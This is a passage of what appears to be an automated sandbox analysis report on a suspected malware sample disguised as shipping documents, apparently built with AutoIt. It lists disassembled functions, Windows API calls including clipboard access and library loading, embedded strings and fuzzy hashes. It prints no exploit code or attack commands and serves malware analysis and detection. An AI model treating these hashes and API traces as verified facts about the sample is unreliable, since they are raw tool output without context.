                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 87C18173C0A9B30A8736812D42641AFEE626FD579031FC3E2CCD47F38A91AB5DA195D4
                                                                                                                                                                                                          Function 00412038 Relevance: .4, Instructions: 351COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                                                          • Instruction ID: aa957cafbedeae1199dea6a597ba911d219650f283d164fb65797e90308ef47b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5FC18E73D0A9B30A8735812D42581AFEE626FD578031EC3E28CE46F38ED26F5DA195D4
                                                                                                                                                                                                          Function 00410D10 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                                                          • Instruction ID: b8cfd58d412160527e66ace840abba843d94ac3f5b06779728c9fe736b8606cc
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 304d221b5688423ebfa6c473264aec07cdb78ae451f757bdd5acbbf2c1e92ad4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: ECD012F621844146F33144D866C0BD100437344310FB58C276005CEBC1C0DDECD6C229
                                                                                                                                                                                                          Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                                                                                                                          • DestroyWindow.USER32(?), ref: 00459407
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                                                                                                                          • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                                                                                                                          • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                                                                                                                          • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                                                                                                                          • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                                                                                                                          • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                                                                                                                          • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                                                                                                                          • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                                                                                                                          • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                                                                                                                          • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                                                                                                                          • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                                                                                                                          • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                                                                                                                          • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                                                                                                                          • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                                                                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                                                                                                                          • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                                                                                                                          • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                                                                                                                          • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                                                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                                                                                                                          • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                                                                                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                                                                                                                          • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00459800
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 0045981F
                                                                                                                                                                                                          • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                                                                                                                                          • GetDC.USER32(?), ref: 004598DE
                                                                                                                                                                                                          • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                                                                                                                          • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                                                                                                                          • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                                                                                                                          • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                                                                                                                          • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                                                                                                                          • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                                                          • API String ID: 4040870279-2373415609
                                                                                                                                                                                                          • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                                          • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                                                                                                                          Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsnicmp
                                                                                                                                                                                                          • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                                                          • API String ID: 1038674560-3360698832
                                                                                                                                                                                                          • Opcode ID: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                                                                                                                          • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 87a66eadcaf8420a9e8e1157d1f7c7fd58aef90dc088af7a86e197dee8fb1ec4
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                                                                                                                          Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                                                          • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                                                          • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                                                                          • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                                                                          • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                                                          • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                                                          • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                                                                          • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                                                          • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                                                          • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                                                          • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                                                          • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                                                          • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                                                          • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                                                          • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                                                          • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                                                                          • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                                                                          • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                                                                          • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                                                                          • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                                                                          • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                                                                          • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                                                                          • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                                                                          • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                                                                          • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                                                                          • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1582027408-0
                                                                                                                                                                                                          • Opcode ID: 697ef1e2b469c7a94178de5208286552364449c38c8500f3df1fcdb24db8d4eb
                                                                                                                                                                                                          • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 697ef1e2b469c7a94178de5208286552364449c38c8500f3df1fcdb24db8d4eb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                                                                          Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                                          • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                                          • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 589737431-2761332787
                                                                                                                                                                                                          • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                                          • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                                                                                                                          Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCursorPos.USER32(?), ref: 00456692
                                                                                                                                                                                                          • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                                                                                                                          • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                                                                                                                          • DestroyWindow.USER32(?), ref: 00456731
                                                                                                                                                                                                          • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                                                                                                                          • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                                                                                                                          • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                                                                                                                          • GetMonitorInfoW.USER32 ref: 00456894
                                                                                                                                                                                                          • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                                                                                                                          • String ID: ($,$tooltips_class32
                                                                                                                                                                                                          • API String ID: 541082891-3320066284
                                                                                                                                                                                                          • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                                          • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                                                                                                                                          Function 00454DAA Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 203windowlibraryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00454DCF
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00454DE2
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00454E04
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00454E24
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                                                                                                                            • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                                                                                                                          • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                                                                                                                          • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                                                                                                                          • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                                                                                                                          • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                                                                                                                                          • String ID: .dll$.exe$.icl$Wu
                                                                                                                                                                                                          • API String ID: 2511167534-3157294790
                                                                                                                                                                                                          • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                                          • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                                                                                                                                          Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                                                                                                                          • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 00436B79
                                                                                                                                                                                                          • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00436BC0
                                                                                                                                                                                                          • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00436C2A
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 00436C31
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                                                                                                                          • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
